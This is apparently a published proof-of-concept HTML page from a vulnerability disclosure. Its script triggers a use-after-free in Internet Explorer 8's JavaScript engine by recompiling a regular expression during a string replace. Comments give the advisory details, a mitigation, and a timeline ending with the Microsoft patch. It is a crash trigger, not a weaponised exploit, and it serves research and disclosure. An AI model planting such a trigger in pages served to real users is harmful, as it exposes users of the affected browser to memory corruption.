<!--Source: http://blog.skylined.nl/20161116001.htmlSynopsisA specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.Known affected software, attack vectors and mitigationsMicrosoft Internet Explorer 8An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.--><!DOCTYPE html><html> <script> // This PoC attempts to exploit a use-after-free bug in Microsoft Internet // Explorer 8. // See http://blog.skylined.nl/20161116001.html for details. var r=new RegExp("A|x|x|xx|xxxxxxxxxxxxxxxxxxxx+", "g"); "A".replace(r, function (){ // Force OLEAUT32 to free the string for (var j = 0; j < 16; j++) new Array(0x1000).join("B"); // Reuse the freed memory r.compile(); }); // This work by SkyLined is licensed under a Creative Commons // Attribution-Non-Commercial 4.0 International License. </script></html><!--DescriptionRecompiling the regular expression pattern during a replace can cause the code to reuse a freed string, but only if the string is freed from the cache by allocating and freeing a number of strings of certain size, as explained by Alexander Sotirov in his Heap Feng-Shui presentation.ExploitExploitation was not investigated.Time-lineMarch 2015: This vulnerability was found through fuzzing.March 2015: This vulnerability was submitted to ZDI.April 2015: This vulnerability was acquired by ZDI.October 2015: Microsoft addressed this issue in MS15-018.November 2016: Details of this issue are released.-->
https://www.exploit-db.com/exploits/40798/
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